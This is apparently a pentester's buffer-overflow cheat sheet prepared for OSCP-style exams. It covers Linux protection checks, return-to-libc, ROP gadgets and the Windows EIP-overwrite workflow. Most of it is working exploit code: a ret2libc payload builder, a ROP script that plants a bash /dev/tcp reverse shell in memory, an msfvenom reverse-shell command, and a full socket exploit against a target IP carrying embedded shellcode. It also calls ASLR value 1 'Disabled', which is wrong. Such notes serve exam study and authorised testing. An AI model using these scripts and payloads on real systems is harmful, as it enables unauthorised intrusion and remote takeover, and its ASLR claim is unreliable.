Return to Main Page

Buffer Overflows


Linux BOF

  • C Program
    • BOF vulnerable funtions: strcpy
    • Not BOF vulnerable functions: strncmp, strncpy
  • Little endian encoding with python
    • from pwn import *; p64(<input>)
    • import struct; struct.pack("<I", <input>)
  • Compile with gcc -ggdb
    • Add debug information to assist with BOF creation
  • Check BOF protections
  • Canary
    • gdb-peda$ checksec
  • Fortify
    • gdb-peda$ checksec
  • NX
    • gdb-peda$ checksec
  • Enabled = Cannot run from the stack
  • Use return to libc method
    • Overwrite return address so the computer jumps to the desired function. Typically the system function with the argument /bin/sh
    • https://0xdf.gitlab.io/2019/03/23/htb-frolic.html
  • Position Independent Code (PIE)
    • gdb-peda$ checksec
  • Relocation Read-Only (RELRO)
    • gdb-peda$ checksec
  • Address Space Layout Randomization (ASLR)
    • cat /proc/sys/kernel/randomize_va_space
      • 1 = Disabled
      • 2 = Enabled
  • OS setting that randomizes where executables are loaded into memory
  • Bypass ASLR on 32-bit machines by bruteforcing addresses. Will not work on 64-bit
    • for i in {1..5000}; do <BOF>; done

    Return to libc - Direct Shell

    Get base libc address
  • ldd <BOFable Program>
    • Output: libc.so.6 => /lib/i386-linux-gnu/libc.so.6 (0xb7e19000)
    Get address for System function
  • readelf -s /lib/i386-linux-gnu/libc.so.6 | grep " system@"
    • gdb-peda$ p 0xb7e19000 + 0x<readelf hex address>
    Get address for Exit function
  • readelf -s /lib/i386-linux-gnu/libc.so.6 | grep " exit@"
    • gdb-peda$ p 0xb7e19000 + 0x<readelf hex address>
    Get hex address for "/bin/sh"
  • strings -a -t x /lib/i386-linux-gnu/libc.so.6 | grep /bin/sh
    • gdb-peda$ p 0xb7e19000 + 0x<Strings -a -t x hex address>
    Assemble final BOF command/input
  • $(python -c 'print("a"*<offset> + "<System>" + "<Exit>" + "</bin/sh>")')
    • Find offset by sending a pattern of characters (msf-pattern_create) to trigger BOF and find where in the pattern the pointer instruction lands
    • Addresses must be little-endian encoded
      • 0xb7e53da0 = \xa0\x3d\xe5\xb7
  • Python3 script to assemble BOF command/input
  • #! /usr/bin/env python3
    
    import struct
    import sys
    
    
    libc_base = <libc address>
    system = struct.pack("<I", libc_base + 0x<system@@ address>)
    exit = struct.pack("<I", libc_base + 0x<exit@@ address>)
    binsh = struct.pack("<I", libc_base + 0x</bin/sh address>)
    
    path = b"A" * <msf-patten_offset> + system + exit + binsh
    sys.stdout.buffer.write(path)
    

    Return to libc - Indirect Shell

  • Write a reverse shell command to BOF program memory and then execute it
    • Useful when unable to directly interact with the bof program (i.e. upload a file and the server executes the file against the BOF program separately.
    from pwn import *
    
    # RSP Overwrite
    offset = <bof offset>
    
    # /proc/398/maps
    base = 0x<BOF program base address>
    libc_base = 0x<libc base address>
    
    # objdump -d libc.so | grep system
    libc_system = p64(libc_base + 0x<address>)
    
    ### GADGETS ###
    # ropper -f libc-2.31.so --search "pop rdi; ret"
    pop_rdi = p64(libc_base + 0x<address>)
    
    # ropper -f libc-2.31.so --search "pop rdx; ret"
    pop_rdx = p64(libc_base + 0x<address>)
    
    # ropper -f libc-2.31.so --search "mov [rdi], rdx"
    mov_rdx_rdi = p64(libc_base + 0x<address>)
    
    # readelf -x .data <bof program> (Or another writable section. use readelf -S <bof program>)
    writable = base + 0x<address>
    
    cmd = b"bash -c 'bash -i >& /dev/tcp/<ip address>/<port> 0>&1'"
    rop = b"A" * offset
    for i in range(0, len(cmd), 8):
        rop += pop_rdi
        rop += p64(writable + i)
        rop += pop_rdx
        rop += cmd[i:i+8].ljust(8, b"\x00")
        rop += mov_rdx_rdi
    
    rop += pop_rdi
    rop += p64(writable)
    rop += libc_system
    
    with open('bof.out', 'wb') as f:
        f.write(rop)

    Assembly Language

    PUSH <value> write a value to the top of the stack
    POP <register> Write whatever value is on the top of the stack to a specified register
    CALL
  • Pushes the next instruction address to the stack so it can later be returned to
  • Modifies EIP so that execution jumps to the function being called
  • RET
  • Increment ESP by 4
  • Copies <ESP Value> to <EIP address>
  • PUSH
  • Decrement ESP by 4
  • PUSH <value> --> ESP Address
  • MOV <register 1>, <register 2 > Copy <register 2 value & address> to <register 1 value & address>
    SUB <register>, <#> Subtract <#> from <register address>
    LEA <register 1>, <register 2> Copy <register 2 address> to <register 1 address>

    OSCP/Windows BOF

    Step Instruction Explanation
    1 Send a pattern msf-pattern_create -l <length>
    2 Find offset of where EIP lands when the program crashes msf-pattern_offset -l <length> -q <EIP crash>
    3 Test for bad characters
  • Place bad character test (all possible characters, hex encoded) after the EIP offset
  • Send buffer overflow and crash the program
  • Follow ESP in the dump and check if all characters are showing from the bad character test.
  • If characters are missing, then remove the first one that is not showing in the ESP dump from the bad character test, and then send the buffer overflow again.
  • Repeat this process until all characters that are sent in the bad character test successuflly show in the ESP dump.
  • 4 Find jmp esp instruction and place it in EIP (after offset)
  • !mona jmp -r esp -cpb <bad characters - example: "\x00\x0A">
    • Very common bad characters: "\x00\x0A"
  • Set breakpoint on JMP instruction
    • To help troubleshoot add a breakboing on JMP instructions
      • immunity debugger command: b <JMP ESP Address>
    5 Generate shell msfvenom -p windows/shell_reverse_tcp LHOST=<ip address> LPORT=<port #> -f python EXITFUNC=thread -v shell -b "\x00\x0a\x0d\<bad characters>"
    6 Add NOPS in front of shell Only 12 lines should be needed. Add in increments of 4.
  • Bad character test:
  • #!/usr/bin/python
    
    import socket
    import struct
    
    RHOST = "192.168.179.10"
    RPORT = 7001
    
    s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    s.connect((RHOST,RPORT))
    
    totlen = 2560
    offset = 2288 
    badchars = ("\x00\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0a\x0b\x0c\x0d\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f"
    "\x20\x21\x22\x23\x24\x25\x26\x27\x28\x29\x2a\x2b\x2c\x2d\x2e\x2f\x30\x31\x32\x33\x34\x35\x36\x37\x38\x39\x3a\x3b\x3c\x3d\x3e\x3f\x40"
    "\x41\x42\x43\x44\x45\x46\x47\x48\x49\x4a\x4b\x4c\x4d\x4e\x4f\x50\x51\x52\x53\x54\x55\x56\x57\x58\x59\x5a\x5b\x5c\x5d\x5e\x5f"
    "\x60\x61\x62\x63\x64\x65\x66\x67\x68\x69\x6a\x6b\x6c\x6d\x6e\x6f\x70\x71\x72\x73\x74\x75\x76\x77\x78\x79\x7a\x7b\x7c\x7d\x7e\x7f"
    "\x80\x81\x82\x83\x84\x85\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9e\x9f"
    "\xa0\xa1\xa2\xa3\xa4\xa5\xa6\xa7\xa8\xa9\xaa\xab\xac\xad\xae\xaf\xb0\xb1\xb2\xb3\xb4\xb5\xb6\xb7\xb8\xb9\xba\xbb\xbc\xbd\xbe\xbf"
    "\xc0\xc1\xc2\xc3\xc4\xc5\xc6\xc7\xc8\xc9\xca\xcb\xcc\xcd\xce\xcf\xd0\xd1\xd2\xd3\xd4\xd5\xd6\xd7\xd8\xd9\xda\xdb\xdc\xdd\xde\xdf"
    "\xe0\xe1\xe2\xe3\xe4\xe5\xe6\xe7\xe8\xe9\xea\xeb\xec\xed\xee\xef\xf0\xf1\xf2\xf3\xf4\xf5\xf6\xf7\xf8\xf9\xfa\xfb\xfc\xfd\xfe\xff")
    
    buf = ""
    buf += "A" * (offset - len(buf))
    buf += "BBBB"
    buf += badchars
    buf += "C" * (totlen - len(buf))
    buf += "\n"
    
    s.send(buf)
    print "Sent: {0}".format(buf)
    
    data = s.recv(1024)
    print "Received: {0}".format(data)
  • Example buffer overflow script:
  • #!/usr/bin/python
    
    import socket
    import struct
    
    RHOST = "192.168.179.10"
    RPORT = 7001
    
    s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    s.connect((RHOST,RPORT))
    
    totlen = 2560
    offset = 2288 
    jmp_esp = struct.pack("<I",0x148010cf)
    nop_sled = '\x90'*12
    
    shell =  b""
    shell += b"\xbb\xa1\x52\xa1\x9c\xdd\xc2\xd9\x74\x24\xf4\x5f"
    shell += b"\x31\xc9\xb1\x52\x31\x5f\x12\x03\x5f\x12\x83\x66"
    shell += b"\x56\x43\x69\x94\xbf\x01\x92\x64\x40\x66\x1a\x81"
    shell += b"\x71\xa6\x78\xc2\x22\x16\x0a\x86\xce\xdd\x5e\x32"
    shell += b"\x44\x93\x76\x35\xed\x1e\xa1\x78\xee\x33\x91\x1b"
    shell += b"\x6c\x4e\xc6\xfb\x4d\x81\x1b\xfa\x8a\xfc\xd6\xae"
    shell += b"\x43\x8a\x45\x5e\xe7\xc6\x55\xd5\xbb\xc7\xdd\x0a"
    shell += b"\x0b\xe9\xcc\x9d\x07\xb0\xce\x1c\xcb\xc8\x46\x06"
    shell += b"\x08\xf4\x11\xbd\xfa\x82\xa3\x17\x33\x6a\x0f\x56"
    shell += b"\xfb\x99\x51\x9f\x3c\x42\x24\xe9\x3e\xff\x3f\x2e"
    shell += b"\x3c\xdb\xca\xb4\xe6\xa8\x6d\x10\x16\x7c\xeb\xd3"
    shell += b"\x14\xc9\x7f\xbb\x38\xcc\xac\xb0\x45\x45\x53\x16"
    shell += b"\xcc\x1d\x70\xb2\x94\xc6\x19\xe3\x70\xa8\x26\xf3"
    shell += b"\xda\x15\x83\x78\xf6\x42\xbe\x23\x9f\xa7\xf3\xdb"
    shell += b"\x5f\xa0\x84\xa8\x6d\x6f\x3f\x26\xde\xf8\x99\xb1"
    shell += b"\x21\xd3\x5e\x2d\xdc\xdc\x9e\x64\x1b\x88\xce\x1e"
    shell += b"\x8a\xb1\x84\xde\x33\x64\x0a\x8e\x9b\xd7\xeb\x7e"
    shell += b"\x5c\x88\x83\x94\x53\xf7\xb4\x97\xb9\x90\x5f\x62"
    shell += b"\x2a\x5f\x37\x1b\x19\x37\x4a\xe3\x4c\x94\xc3\x05"
    shell += b"\x04\x34\x82\x9e\xb1\xad\x8f\x54\x23\x31\x1a\x11"
    shell += b"\x63\xb9\xa9\xe6\x2a\x4a\xc7\xf4\xdb\xba\x92\xa6"
    shell += b"\x4a\xc4\x08\xce\x11\x57\xd7\x0e\x5f\x44\x40\x59"
    shell += b"\x08\xba\x99\x0f\xa4\xe5\x33\x2d\x35\x73\x7b\xf5"
    shell += b"\xe2\x40\x82\xf4\x67\xfc\xa0\xe6\xb1\xfd\xec\x52"
    shell += b"\x6e\xa8\xba\x0c\xc8\x02\x0d\xe6\x82\xf9\xc7\x6e"
    shell += b"\x52\x32\xd8\xe8\x5b\x1f\xae\x14\xed\xf6\xf7\x2b"
    shell += b"\xc2\x9e\xff\x54\x3e\x3f\xff\x8f\xfa\x5f\xe2\x05"
    shell += b"\xf7\xf7\xbb\xcc\xba\x95\x3b\x3b\xf8\xa3\xbf\xc9"
    shell += b"\x81\x57\xdf\xb8\x84\x1c\x67\x51\xf5\x0d\x02\x55"
    shell += b"\xaa\x2e\x07"
    
    buf = ""
    buf += "A" * (offset - len(buf))
    buf += "BBBB"
    buf += jmp_esp
    buf += nop_sled
    buf += shell
    buf += "C" * (totlen - len(buf))
    buf += "\n"
    
    s.send(buf)
    print "Sent: {0}".format(buf)
    
    data = s.recv(1024)
    print "Received: {0}".format(data)